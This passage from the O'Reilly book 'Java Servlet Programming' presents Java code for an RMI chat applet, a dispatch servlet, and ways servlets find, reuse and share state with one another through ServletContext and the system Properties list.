}

Example 10-20. A chat client using RMI communication

import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.rmi.*;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.*;

public class RMIChatApplet extends Applet implements ChatClient {

  TextArea text;
  Label label;
  TextField input;
  Thread thread;
  String user;

  ChatServer chatServer;

  private int getRegistryPort() {
    try { return Integer.parseInt(getParameter("port")); }
    catch (NumberFormatException ignored) { return Registry.REGISTRY_PORT; }
  }

  private String getRegistryName() {
    String name = getParameter("name");
    return (name == null ? "ChatServlet" : name);
  }

  // Returns a reference to the remote chat server/servlet
  // Tries to exit if there's a problem.
  private ChatServer getChatServer() {
    try {
      Registry registry =
        LocateRegistry.getRegistry(getCodeBase().getHost(), getRegistryPort());
      Object obj = registry.lookup(getRegistryName());
      return (ChatServer)obj;
    }
    catch (java.rmi.UnknownHostException e) {
      // Don't know the registry host, try to exit
      System.out.println("Host unknown in url: " + e.getMessage());
      System.exit(1);
    }
    catch (NotBoundException e) {
      // Can't find our object, try to exit
      System.out.println("Name not bound: " + e.getMessage());
      System.exit(1);
    }
    catch (ClassCastException e) {
      // The object wasn't a ChatServer, try to exit
      System.out.println(getRegistryName() + " was not a ChatServer:" +
                         e.getMessage());
      System.exit(1);
    }
    catch (RemoteException e) {
      // General RMI problem, try to exit
      System.out.println("Remote exception: " + e.getMessage());
      System.exit(1);
    }
    catch (Exception e) {
      // Some other problem, try to exit
      System.out.println("General exception: " +
        e.getClass().getName() + ": " + e.getMessage());
      System.exit(1);
    }
    return null;  // return null if the exit() doesn't work
  }

  // Add ourselves as a client of the chat server
  // Notice there's no need for an RMI registry
  private void registerWithChatServer(ChatServer server) {
    try {
      UnicastRemoteObject.exportObject(this);
      server.addClient(this);
    }
    catch (RemoteException e) {
      // General RMI problem, try to exit
      System.out.println("Remote exception: " + e.getMessage());
      System.exit(1);
    }
    catch (Exception e) {
      // Some other problem, try to exit
      System.out.println("General exception: " +
        e.getClass().getName() + ": " + e.getMessage());
      System.exit(1);
    }
  }

  public void init() {
    // Check if this applet was loaded directly from the filesystem.
    // If so, explain to the user that this applet needs to be loaded
    // from a server in order to communicate with that server's servlets.
    URL codebase = getCodeBase();
    if (!"http".equals(codebase.getProtocol())) {
      System.out.println();
      System.out.println("*** Whoops! ***");
      System.out.println("This applet must be loaded from a web server.");
      System.out.println("Please try again, this time fetching the HTML");
      System.out.println("file containing this servlet as");
      System.out.println("\"http://server:port/file.html\".");
      System.out.println();
      System.exit(1);  // Works only from appletviewer
                       // Browsers throw an exception and muddle on
    }

    // Get the remote chat server
    chatServer = getChatServer();

    // Register ourselves as one of its clients
    registerWithChatServer(chatServer);

    // Get this user's name from an applet parameter set by the dispatch servlet
    // We could just ask the user, but this demonstrates a
    // form of servlet->applet communication.
    user = getParameter("user");
    if (user == null) user = "anonymous";

    // Set up the user interface...
    // On top, a large TextArea showing what everyone's saying.
    // Underneath, a labeled TextField to accept this user's input.
    text = new TextArea();
    text.setEditable(false);
    label = new Label("Say something: ");
    input = new TextField();
    input.setEditable(true);

    setLayout(new BorderLayout());
    Panel panel = new Panel();
    panel.setLayout(new BorderLayout());

    add("Center", text);
    add("South", panel);

    panel.add("West", label);
    panel.add("Center", input);
  }

  String getNextMessage() {
    String nextMessage = null;
    while (nextMessage == null) {
      try {
        nextMessage = chatServer.getNextMessage();
      }
      catch (RemoteException e) {
        // Remote exception, report and wait before trying again
        System.out.println("Remote Exception:" + e.getMessage());
        try { Thread.sleep(1000); } catch (InterruptedException ignored) { }
      }
    }
    return nextMessage + "\n";
  }

  public void setNextMessage(String message) {
    text.appendText(message + "\n");
  }

  void broadcastMessage(String message) {
    message = user + ": " + message;  // Pre-pend the speaker's name
    try {
      chatServer.broadcastMessage(message);
    }
    catch (RemoteException e) {
      // Remote exception, report it and abandon the broadcast
      System.out.println("Remote exception: " + e.getMessage());
    }
    catch (Exception e) {
      // Some other exception, report it and abandon the broadcast
      System.out.println("General exception: " +
        e.getClass().getName() + ": " + e.getMessage());
    }
  }

  public boolean handleEvent(Event event) {
    switch (event.id) {
      case Event.ACTION_EVENT:
        if (event.target == input) {
          broadcastMessage(input.getText());
          input.setText("");
          return true;
        }
    }
    return false;
  }
}

This applet's getNextMessage() and broadcastMessage() implementations are as simple as any we've seen. They need only call the remote servlet's methods of the same name. But their simplicity comes with a cost: more complicated set-up code. Specifically, the init() method now has to call the lengthy (but by now understandable) getChatServer() method to obtain a reference to the remote chat servlet.

If you look closely at RMIChatApplet, you'll notice that it doesn't actually use its getNextMessage() method. Instead, it asks the servlet to call its setNextMessage() method each time there's a new message being broadcast. It makes this request in its init() method when it calls registerWithChatSer-ver(ChatServer). This method exports the applet as a remote object, then invokes the servlet's addClient() method passing a reference to itself. After this, the servlet's broadcastMessage() method sends a callback to the applet each time there's a new message.

If you try using callbacks on your own, don't forget the basics we covered earlier. You need to run the rmic RMI compiler on your remote applet to generate its stub and skeleton classes. And you need to be sure your server has the RMIChatApplet_Stub.class and ChatClient.class files somewhere in its classpath.

10.3.6. The Dispatcher

Now, for this chapter's last code example, the ChatDispatch servlet is shown in Example 10-21. This servlet performs two duties. First, when this servlet is accessed without any request parameters, it prints a friendly welcome page asking the user which applet version he is interested in using, as shown in Figure 10-4. Second, when it's accessed with a request parameter, it prints a page that contains the appropriate applet, as you saw in Figure 10-3. Be aware that the URL used to access this dispatch servlet should contain the server's true name, not localhost, so as to avoid RMI security problems.

Figure 10-4. The chat dispatch welcome page

Example 10-21. The front door dispatch servlet

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ChatDispatch extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws IOException, ServletException {
    res.setContentType("text/html");

    if (!req.getParameterNames().hasMoreElements()) {
      // There were no request parameters. Print a welcome page.
      printWelcomePage(req, res);
    }
    else {
      // There was at least one request parameter.
      // Print a page containing the applet.
      printAppletPage(req, res);
    }
  }

  // The welcome page greets the reader and has a form where the user
  // can choose an applet-servlet communication method.
  private void printWelcomePage(HttpServletRequest req,
                                HttpServletResponse res)
                    throws IOException {
    PrintWriter out = res.getWriter();
    String me = req.getServletPath();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>");
    out.println("Welcome to an Absurdly Simple Chat");
    out.println("</TITLE></HEAD>");
    out.println();
    out.println("<BODY>");
    out.println("<H1>Welcome to an Absurdly Simple Chat</H1>");
    out.println();
    out.println("Would you like to communicate via:");
    out.println("<UL>");
    out.println("  <LI><A HREF=\"" + me + "?method=http\">http</A>");
    out.println("  <LI><A HREF=\"" + me + "?method=socket\">socket</A>");
    out.println("  <LI><A HREF=\"" + me + "?method=rmi\">rmi</A>");
    out.println("</UL>");
    out.println("</BODY></HTML>");
  }

  // The applet page displays the chat applet.
  private void printAppletPage(HttpServletRequest req,
                               HttpServletResponse res)
                    throws IOException {
    PrintWriter out = res.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>An Absurdly Simple Chat</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<H1>An Absurdly Simple Chat</H1>");

    String method = req.getParameter("method");
    String user = req.getRemoteUser();
    String applet = null;

    if ("http".equals(method)) {
      applet = "HttpChatApplet";
    }
    else if ("socket".equals(method)) {
      applet = "SocketChatApplet";
    }
    else if ("rmi".equals(method)) {
      applet = "RMIChatApplet";
    }
    else {
      // No method given, or an invalid method given.
      // Explain to the user what we expect.
      out.println("Sorry, this servlet requires a <TT>method</TT> " +
                  "parameter with one of these values: " +
                  "http, socket, rmi");
      return;
    }

    // Print the HTML code to generate the applet.
    // Choose the applet code based on the method parameter.
    // Provide a user parameter if we know the remote user.
    out.println("<APPLET CODE=" + applet + " CODEBASE=/ " +
                "WIDTH=500 HEIGHT=170>");
    if (user != null)
      out.println("<PARAM NAME=user VALUE=\"" + user + "\">");
    out.println("</APPLET>");

    out.println("</BODY></HTML>");
  }
}

Nothing here should surprise you. In fact, we expect this code to appear refreshingly simple after the ChatServlet example. Still, this example does demonstrate one last form of applet-servlet communication: servlet-generated applet parameters. Using this technique, a servlet generates a page that contains an applet and passes information to the applet by manipulating the applet's <PARAM> tags. Any information the servlet wants to send to a new applet can be sent this way. In this example, the servlet sends the name returned by req.getRemoteUser(). In another example, a servlet could tell the applet its browser type by sending it the string returned by req.getHeader("User-Agent"). Or, to be more helpful, the servlet could use a database to determine the capabilities of the browser and tell the applet exactly what it needs to know. It could even tell the applet whether the browser supports RMI communication.

Previous | Home | Next
10.2. Daytime Server | Book Index | 11. Interservlet Communication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Interservlet Communication (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 11. Interservlet Communication

Contents:

Servlet Manipulation
Servlet Reuse
Servlet Collaboration
Recap

Servlets running together in the same server have several ways to communicate with each other. There are three major reasons to use interservlet communication:

Direct servlet manipulation

A servlet can gain access to the other currently loaded servlets and perform some task on each. The servlet could, for example, periodically ask every servlet to write its state to disk to protect against server crashes.

Servlet reuse

One servlet can use another's abilities to perform a task. Think back to the ChatServlet from the previous chapter. It was written as a server for chat applets, but it could be reused (unchanged) by another servlet that needed to support an HTML-based chat interface.

Servlet collaboration

The most common, situation involves two or more servlets sharing state information. For example, a set of servlets managing an online store could share the store's product inventory count. Session tracking (see Chapter 7, "Session Tracking" ) is a special case of servlet collaboration.

This chapter discusses why interservlet communication is useful and how it can be accomplished.

11.1. Servlet Manipulation

Direct servlet manipulation involves one servlet accessing the loaded servlets on its server and optionally performing some task on one or more of them. A servlet obtains information about other servlets through the ServletContext object. Use getServlet() to get a particular servlet:

public Servlet ServletContext.getServlet(String name) throws ServletException

This method returns the servlet of the given name, or null if the servlet is not found. The specified name can be the servlet's registered name (such as "file") or its class name (such as "com.sun.server.webserver.FileServlet"). The server maintains one servlet instance per name, so getServlet("file") returns a different servlet instance than getServlet("com.sun.server.webserver.FileServlet").[1] If the servlet implements SingleThreadModel, the server may return any instance of the servlet from the current pool. The server may--but isn't required to--load the named servlet and execute its init() method if it isn't already loaded. The Java Web Server does not perform this load. A ServletException is thrown if there is a problem during the load.

[1]getServlet("file") returns the instance that handles /servlet/file, while getServlet("com.sun. server.webserver.FileServlet") returns the instance that handles /servlet/com.sun.server.webserver. FileServlet.

You can also get all of the servlets using getServlets() :

public Enumeration ServletContext.getServlets()

This method returns an Enumeration of the Servlet objects loaded in the current ServletContext. Generally there's one servlet context per server, but for security or convenience, a server may decide to partition its servlets into separate contexts. The enumeration always includes the calling servlet itself. This method is deprecated in the Servlet API 2.0 in favor of getServletNames() :

public Enumeration ServletContext.getServletNames()

This method returns an Enumeration of the names of the servlet objects loaded in the current ServletContext. The enumeration always includes the calling servlet itself. When used with getServlet(), this method can perform the same function as the deprecated getServlets(). The name returned can be a registered name (such as "file") or a class name (such as "com.sun.server.webserver.FileServlet"). This method was introduced in Version 2.0 of the Servlet API.

Casting the Servlet object returned by getServlet() or getServlets() to its specific subclass can, in some situations, throw a ClassCastException. For example, the following code sometimes works as expected and sometimes throws an exception:

MyServlet servlet = (MyServlet)getServletContext().getServlet("MyServlet");

The reason has to do with how a servlet can be automatically reloaded when its class file changes. As we explained in Chapter 3, "The Servlet Life Cycle", a server uses a new ClassLoader each time it reloads a servlet. This has the interesting side effect that, when the MyServlet class is reloaded, it is actually a different version of MyServlet than the version used by other classes. Thus, although the returned class type is MyServlet and it's being cast to the type MyServlet, the cast is between different types (from two different class loaders) and the cast has to throw a ClassCastException. The same type mismatch can occur if the class performing the cast (that is, the servlet containing the above code) is reloaded. Why? Because its new ClassLoader won't find MyServlet using the primordial class loader and will load its own copy of MyServlet.

There are three possible workarounds. First, avoid casting the returned Servlet object and invoke its methods using reflection (a technique whereby a Java class can inspect and manipulate itself at runtime). Second, make sure that the servlet being cast is never reloaded. You can do this by moving the servlet out of the default servlet directory (usually server_root/servlets) and into the server's standard classpath (usually server_root/classes). The servlet performing the cast can remain in the servlets directory because its ClassLoader can find MyServlet using the primordial class loader. Third, cast the returned servlet to an interface that declares the pertinent methods and place the interface in the server's standard classpath where it won't be reloaded. Every class but the interface can remain in the servlets directory. Of course, in this case, the servlet must be changed to declare that it implements the interface.

11.1.1. Viewing the Currently Loaded Servlets

Example 11-1 uses these methods to display information about the currently loaded servlets, as shown in Figure 11-1.

Example 11-1. Checking out the currently loaded servlets

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Loaded extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    ServletContext context = getServletContext();
    Enumeration names = context.getServletNames();
    while (names.hasMoreElements()) {
      String name = (String)names.nextElement();
      Servlet servlet = context.getServlet(name);
      out.println("Servlet name: " + name);
      out.println("Servlet class: " + servlet.getClass().getName());
      out.println("Servlet info: " + servlet.getServletInfo());
      out.println();
    }
  }
}

Figure 11-1. Output from the loaded servlet

There's nothing too surprising in this servlet. It retrieves its ServletContext to access the other servlets loaded in the server. Then it calls the context's getServletNames() method. This returns an Enumeration of String objects that the servlet iterates over in a while loop. For each name, it retrieves the corresponding Servlet object with a call to the context's getServlet() method. Then it prints three items of information about the servlet: its name, its class name, and its getServletInfo() text. Notice that if the Loaded servlet used the deprecated getServlets() method instead of getServletNames(), it would not have had access to the servlets' names.

11.1.2. Saving the State of the Currently Loaded Servlets

The next example demonstrates another use for these methods. It works like Loaded, except that it attempts to call each servlets' saveState() method, if it exists. This servlet could be run periodically (or be modified to spawn a thread that runs periodically) to guard against data loss in the event of a server crash. The code is in Example 11-2; the output is in Figure 11-2.

Example 11-2. Saving the state of all the currently loaded servlets

import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SaveState extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    ServletContext context = getServletContext();
    Enumeration names = context.getServletNames();
    while (names.hasMoreElements()) {
      String name = (String)names.nextElement();
      Servlet servlet = context.getServlet(name);

      out.println("Trying to save the state of " + name + "...");
      out.flush();
      try {
        Method save = servlet.getClass().getMethod("saveState", null);
        save.invoke(servlet, null);
        out.println("Saved!");
      }
      catch (NoSuchMethodException e) {
        out.println("Not saved. This servlet has no saveState() method.");
      }
      catch (SecurityException e) {
        out.println("Not saved. SecurityException: " + e.getMessage());
      }
      catch (InvocationTargetException e) {
        out.print("Not saved. The saveState() method threw an exception: ");
        Throwable t = e.getTargetException();
        out.println(t.getClass().getName() + ": " + t.getMessage());
      }
      catch (Exception e) {
        out.println("Not saved. " + e.getClass().getName() + ": " +
                    e.getMessage());
      }

      out.println();
    }
  }

  public String getServletInfo() {
    return "Calls the saveState() method (if it exists) for all the " +
           "currently loaded servlets";
  }
}

Figure 11-2. Output from the SaveState servlet

SaveState uses reflection to determine if a servlet has a public saveState() method and to invoke the method when it exists. If the invocation goes without a hitch, it prints "Saved!". If there's a problem, it reports the problem. Why does SaveState use reflection? Because otherwise it would have to cast each Servlet object to some class or interface that includes a saveState() method, and the code for each servlet would have to be modified to extend or implement that class or interface. Using reflection is an easier approach that doesn't require code modification. Reflection also avoids the ClassCastException problem noted earlier.

Previous | Home | Next
10.3. Chat Server | Book Index | 11.2. Servlet Reuse
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Servlet Reuse (Java Servlet Programming)

 Java Servlet Programming Search this book

11.2. Servlet Reuse

Another use for interservlet communication is to allow one servlet to reuse the abilities (the public methods) of another servlet. The major challenge with servlet reuse is for the "user" servlet to obtain the proper instance of "usee" servlet when the usee servlet has not yet been loaded into the server.

The obvious solutions don't always work. getServlet() isn't guaranteed to load the named servlet on all servers; it may just return null. Directly creating a new instance of the usee servlet doesn't work either, as the newly created servlet doesn't have access to its own ServletConfig and ServletContext objects. Plus, the server would be using a different instance to handle client requests, leaving the new instance of the servlet without the right state information.

The solution is for the user servlet to ask the server to load the usee servlet, then call getServlet() to get a reference to it. Unfortunately, the Servlet API distinctly lacks any methods whereby a servlet can control the servlet life cycle, for itself or for other servlets. This is considered a security risk and is officially "left for future consideration."

Fortunately, there's a back door we can use today. A servlet can open an HTTP connection to the server in which it's running, ask for the unloaded servlet, and effectively force the server to load the servlet to handle the request. Then a call to getServlet() gets the proper instance.[2]

[2] Unfortunately, this technique does not work directly for servlets running within a secure web server because a secure server accepts only encrypted HTTPS connections.

11.2.1. An Improved getServlet()

The com.oreilly.servlet.ServletUtils class has an improved getServlet() method that does just this. It returns the named servlet, loading it first via an HTTP request if necessary. The code is shown in Example 11-3.

Example 11-3. The code for an improved getServlet()

// Get the named servlet. Try loading it through an HTTP request if
// necessary. Returns null if there's a problem. Only loads HTTP
// servlets, of course.
public static Servlet getServlet(String name,
                                 ServletRequest req,
                                 ServletContext context) {
  try {
    // Try getting the servlet the old-fashioned way
    Servlet servlet = context.getServlet(name);
    if (servlet != null) return servlet;

    // If getServlet() returned null, we have to load it ourselves.
    // Do this by making an HTTP GET request to the servlet.
    // Use a raw socket connection so we can set a timeout.
    Socket socket = new Socket(req.getServerName(), req.getServerPort());
    socket.setSoTimeout(4000);  // wait up to 4 secs for a response
    PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
    out.println("GET /servlet/" + name + " HTTP/1.0");  // the request
    out.println();
    try {
      socket.getInputStream().read();  // Even one byte means its loaded
    }
    catch (InterruptedIOException e) { /* timeout: ignore, hope for the best */ }
    out.close();

    // Try getting the servlet again.
    return context.getServlet(name);
  }
  catch (Exception e) {
    // If there's any problem, return null.
    return null;
  }
}

This getServlet() method uses a raw socket connection to perform the HTTP GET request. This is so that it can set a time-out for how long it's willing to wait for a response. The URL and URLConnection classes don't provide this ability. In this case, the time-out is set to four seconds. If, after four seconds, the servlet hasn't written any response, the read() method throws an InterruptedIOException and the method continues. This time-out is necessary only for the special case where a servlet spends a long time preparing its response and we don't want to wait. It would appear this time-out could leave the loading servlet in an uninitialized state, if its init() method were to take five seconds, for example. A well-written server, however, should block in the getServlet() call until the servlet has been fully initialized. Note that because this ServletUtils.getServlet() method requires a ServletRequest parameter, it can be called only by methods with access to a ServletRequest, such as doGet() and doPost().

11.2.2. Reusing ChatServlet

An HTML-based chat servlet built around the abilities of last chapter's ChatServlet is an excellent example of servlet reuse. This new servlet, called ChatPage, wraps an HTML interface around the getNextMessage() and broadcastMessage() methods of ChatServlet. The code is shown in Example 11-4, while the output is shown in Figure 11-3.

Example 11-4. One servlet, ChatPage, reusing another servlet, ChatServlet

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.ServletUtils;

public class ChatPage extends HttpServlet implements Runnable {

  static final int MESSAGE_ARCHIVE_SIZE = 10;  // save the last 10 messages

  ChatServlet chat = null;  // the servlet to reuse
  String[] messages = new String[MESSAGE_ARCHIVE_SIZE];  // circular array
  int messageIndex = 0;  // index into the messages array
  Thread update = null;  // thread to update new messages

  // Gets new messages from the chat servlet and inserts them in
  // the messages' circular array.
  public void run() {
    while (true) {
      String message = chat.getNextMessage();
      synchronized (this) {
        messages[messageIndex] = message;
        messageIndex = (messageIndex + 1) % MESSAGE_ARCHIVE_SIZE;
      }
    }
  }

  // Prints the message archive (the 10 latest messages) and a text
  // field where the reader can input a new message.
  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Turn off caching, so the latest messages are always displayed.
    // (Works around a Netscape problem.)
    res.setHeader("Pragma", "no-cache");

    // For our first request, "chat" is null and we need to use
    // ServletUtils.getServlet() to get the ChatServlet instance.
    // Then we need to start another thread to listen for chat's
    // new messages.
    if (chat == null) {
      chat = (ChatServlet)ServletUtils.getServlet(
                 "ChatServlet", req, getServletContext());
      if (chat != null) {
        update = new Thread(this);
        update.start();
      }
    }

    // Print a pretty header.
    out.println("<HTML><HEAD>");
    out.println("<TITLE>ChatPage</TITLE>");
    out.println("</HEAD><BODY>");
    out.println("<CENTER><H1>Welcome to ChatPage!</H1></CENTER>");

    // Print the message archive, oldest first.
    // Synchronized so it doesn't change while we're printing it.
    synchronized (this) {
      out.println("<FONT SIZE=4>Recent messages:</FONT><P>");
      int i = messageIndex;
      do {
        String message = messages[i];
        if (message != null) out.println(message + "<P>");
        i = (i + 1) % MESSAGE_ARCHIVE_SIZE;
      } while (i != messageIndex);
    }

    // Print a button that gets new messages.
    out.println("<FORM METHOD=GET>");
    out.println("<INPUT TYPE=submit VALUE=\"Get New Messages\">");
    out.println("</FORM>");

    // Print a form where the reader can submit a new message.
    out.println("<HR>");
    out.println("<FORM METHOD=POST>");
    out.println("<FONT SIZE=4>Submit a message:</FONT>");
    out.println("<INPUT TYPE=text NAME=message>");
    out.println("</FORM>");

    // Print a pretty footer.
    out.println("<HR>");
    out.println("<CENTER><FONT SIZE=2><B>");
    out.println("Special thanks to ChatServlet for acting as our back-end");
    out.println("</B></FONT></CENTER>");
    out.println("</BODY></HTML>");
  }

  // Accepts messages for broadcast.
  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    // If our first request happens to be a POST, we need to set "chat"
    // and start our update thread just as we do for a GET request.
    if (chat == null) {
      chat = (ChatServlet)ServletUtils.getServlet(
                 "ChatServlet", req, getServletContext());
      if (chat != null) {
        update = new Thread(this);
        update.start();
        Thread.currentThread().yield();  // let the run() method start
      }
    }

    // Get the client's username. It's non-null only if ChatPage is
    // protected by client authentication.
    String user = req.getRemoteUser();
    if (user == null) user = "anonymous";

    // Get and broadcast the message.
    String message = req.getParameter("message");
    if (message != null && chat != null) {
      chat.broadcastMessage(user + ": " + message);
      Thread.currentThread().yield();  // let the message be broadcast
    }

    // Have doGet() print the updated message archive and the form.
    doGet(req, res);
  }

  // Stops the background thread.
  public void destroy() {
    if (update != null)
      update.stop();
  }

  public String getServletInfo() {
    return "An HTML chat server front end, reusing ChatServlet";
  }
}

Figure 11-3. Another interface to ChatServlet

The core logic for running the chat service remains in ChatServlet. ChatPage just uses the public methods of ChatServlet to present an alternative front end to the user. ChatPage gains access to the server's ChatServlet instance with the following line of code:

chat = (ChatServlet)ServletUtils.getServlet(
           "ChatServlet", req, getServletContext());

Remember that this cast can throw a ClassCastException if either ChatServlet or ChatPage was ever reloaded. To avoid this, put the class file for ChatServlet in the server's classpath. This ensures that ChatServlet isn't reloaded. (And what if ChatPage is reloaded? That won't be a problem as long as ChatServlet was loaded by the primordial class loader.) Not allowing ChatServlet to reload also guarantees that the background update thread of ChatPage won't find itself calling an old version of ChatServlet.

ChatPage uses the returned ChatServlet instance for its back end. It calls chat.getNextMessage() to fill its array of recent messages and chat.broadcastMessage() to broadcast each new message as it's entered by the user.

As often happens with servlet reuse, not everything fits together elegantly in this example. ChatServlet wasn't intended to be used by another servlet,[3] so ChatPage requires some extra code to work around some issues that could have been solved with a better back-end design. Specifically, the doPost() method has two points where the current thread yields to allow the update thread to proceed with its work. First, doPost() calls yield() after starting the update thread. This gives the new thread a chance to start listening for chat messages. Second, doPost() calls yield() after broadcasting its message. This gives the update thread a chance to receive the broadcasted message. Without these yields, the thread calling doPost() may broadcast the message before the update thread is able to receive the message, resulting in a response that doesn't include the latest message. (And even with the yields, it's possible this could happen anyway due to unfortunate thread scheduling.)

[3] Honest! The examples from this chapter were dreamed up only after Chapter 10, "Applet-Servlet Communication" had been written.

Previous | Home | Next
11.1. Servlet Manipulation | Book Index | 11.3. Servlet Collaboration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Servlet Collaboration (Java Servlet Programming)

 Java Servlet Programming Search this book

11.3. Servlet Collaboration

Sometimes servlets have to cooperate, usually by sharing some information. We call communication of this sort servlet collaboration. Collaborating servlets can pass the shared information directly from one servlet to another through method invocations, as shown earlier. This approach requires each servlet to know the other servlets with which it is collaborating--an unnecessary burden. There are several better techniques.

11.3.1. Collaboration Through the System Properties List

One simple way for servlets to share information is by using Java's system-wide Properties list, found in the java.lang.System class. This Properties list holds the standard system properties, such as java.version and path.separator, but it can also hold application-specific properties. Servlets can use the properties list to hold the information they need to share. A servlet can add (or change) a property by calling:

System.getProperties().put("key", "value");

That servlet, or another servlet running in the same JVM, can later get the value of the property by calling:

String value = System.getProperty("key");

The property can be removed by calling:

System.getProperties().remove("key");

It's best if the key for a property includes a prefix that contains the name of the servlet's package and the name of the collaboration group. For example, "com.oreilly.servlet.ShoppingCart".

The Properties class is intended to be String based, meaning that each key and value is supposed to be a String. This limitation, though, isn't commonly enforced and can (although it's quite a hack) be ignored by servlets that want to store and retrieve non-String objects. Such servlets can take advantage of the fact that the Properties class extends the Hashtable class, so the Properties list can (quite rudely) be treated as a Hashtable when storing keys and values. For example, a servlet can add or change a property object by calling:

System.getProperties().put(keyObject, valueObject);  // hack

It can retrieve the property object by calling:

SomeObject valueObject = (SomeObject)System.getProperties().get(keyObject);

It can remove the property object by calling:

System.getProperties().remove(keyObject);

This misuse of the Properties list causes the getProperty(), list() and save() methods of the Properties class to throw ClassCastException objects when they naturally--but erroneously--assume each key and value to be a String. For this reason, if there's any chance these methods might be called, you should instead use one of the techniques for servlet collaboration we describe later in the chapter. Also, remember the class files for keyObject and valueObject should be found in the server's classpath, not in the default servlet directory where they would be loaded, and perhaps reloaded, by the special servlet class loaders.

There are three more caveats to using the system Properties list for servlet collaboration: the information isn't naturally persistent between server restarts, the information can be viewed (and modified or deleted) by other classes executing in the servlet's JVM, and some servlet security managers may not grant servlets access to the system property list.

11.3.1.1. Using properties to sell burritos

Despite the stern warnings, servlet collaboration through the system-wide Properties list works well for servlets that are sharing insensitive, noncritical, easily replaceable information. As a fun example, imagine a set of servlets that sell burritos and share a "special of the day." An administrative servlet could set the special of the day using the following code:

System.getProperties().put("com.LaCostena.special.burrito", "Pollo Adobado");
System.getProperties().put("com.LaCostena.special.day", new Date());

Thereafter, every other servlet on the server can access the special and display it with code like this:

String burrito = System.getProperty("com.LaCostena.special.burrito");
Date day = (Date)System.getProperties().get("com.LaCostena.special.day");

DateFormat df = DateFormat.getDateInstance(DateFormat.SHORT);
String today = df.format(day);

out.println("Our burrito special today (" + today + ") is: " + burrito);

11.3.1.2. Faster image chaining

Servlets performing image effects in a servlet chain can boost their speed dramatically by using the system Properties list to pass their images. In Chapter 6, "Sending Multimedia Content", we saw the standard method by which the servlets in a chain pass images from link to link. The first servlet takes an Image object, encodes it to a stream of bytes, and passes the bytes to the next servlet. The receiving servlet decodes the bytes back into the original Image object. The technique works fine, but it can be prohibitively slow for large images. An alternative solution is for the first servlet to save the Image object itself in the system-wide Properties list, then pass on a small unique key by which the next servlet in the chain can locate the Image. In a sense, the old approach works by shoving an entire elephant through the small portal between servlets. The new approach works by passing just the elephant's leash.

Example 11-5 demonstrates exactly how a servlet passes on a key to an Image object saved in the system Properties list.

Example 11-5. Passing an Image through the Properties list

import java.awt.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ChainImageSource extends HttpServlet {

  int keynum = 0;  // used to create a unique key

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    // Get an Image
    String imageFile = req.getRealPath("/system/images/serverduke.gif");
    Image image = Toolkit.getDefaultToolkit().getImage(imageFile);

    // Create a unique key under which to store the image
    String key = "com.oreilly.servlet.ChainImageSource." + keynum++;

    // Store the image in the system Properties list using that key
    System.getProperties().put(key, image);

    // Tell the next servlet to expect an image key
    res.setContentType("java-internal/image-key");

    PrintWriter out = res.getWriter();

    // Send the key
    out.println(key);
  }
}

Notice how the servlet generates its unique key. It prefixes the key with the string "com.oreilly.servlet.ChainImageSource", something no other servlet is likely to use. Then it appends a different integer value for each image. Also notice how this servlet uses the custom content type "java-internal/image-key" to indicate that it's passing on an image key.

Example 11-6 shows the other half of this servlet chain--a servlet that uses the key to fetch the original Image object.

Example 11-6. Fetching an image passed through the Properties list

import java.awt.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ChainImageSink extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    // See what content type we're receiving
    String contentType = req.getContentType();

    Image image = null;

    // An "image/*" content type means to expect the image as an encoded
    // byte stream
    if (contentType != null && contentType.startsWith("image")) {
      // Receive the image bytes as shown in Chapter 6, "Sending Multimedia Content"
    }

    // A "java-internal/image-key" content type means to expect a key
    else if ("java-internal/image-key".equals(contentType)) {
      // Read the first line of content to get the key
      String key = req.getReader().readLine();

      // Retrieve the Image stored under that key
      image = (Image)System.getProperties().get(key);

      // Always remove the Image, to avoid a memory leak
      System.getProperties().remove(key);
    }

    // Other content types cannot be handled
    else {
      throw new ServletException("Incoming content type must be " +
                       "\"image/*\" or \"java-internal/image-key\"");
    }

    // Proceed to use the image as appropriate...
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    out.println("Received the image: " + image);
  }
}

The most important thing to notice with this example is that the receiving servlet bears the responsibility of removing the Image from the system Properties list to avoid a potentially large memory leak.

This leash-passing technique works only when the source servlet can be absolutely sure its key is being sent to another servlet, not to a dumbfounded user who expected an image. This can be ensured if every chain has as its final servlet a special servlet whose sole purpose is to accept an image key and emit that Image's encoded byte stream.

11.3.2. Collaboration Through a Shared Object

Another way for servlets to share information is through a shared object. A shared object can hold the pool of shared information and make it available to each servlet as needed. In a sense, the system Properties list is a special case example of a shared object. By generalizing the technique into sharing any sort of object, however, a servlet is able to use whatever shared object best solves its particular problem.

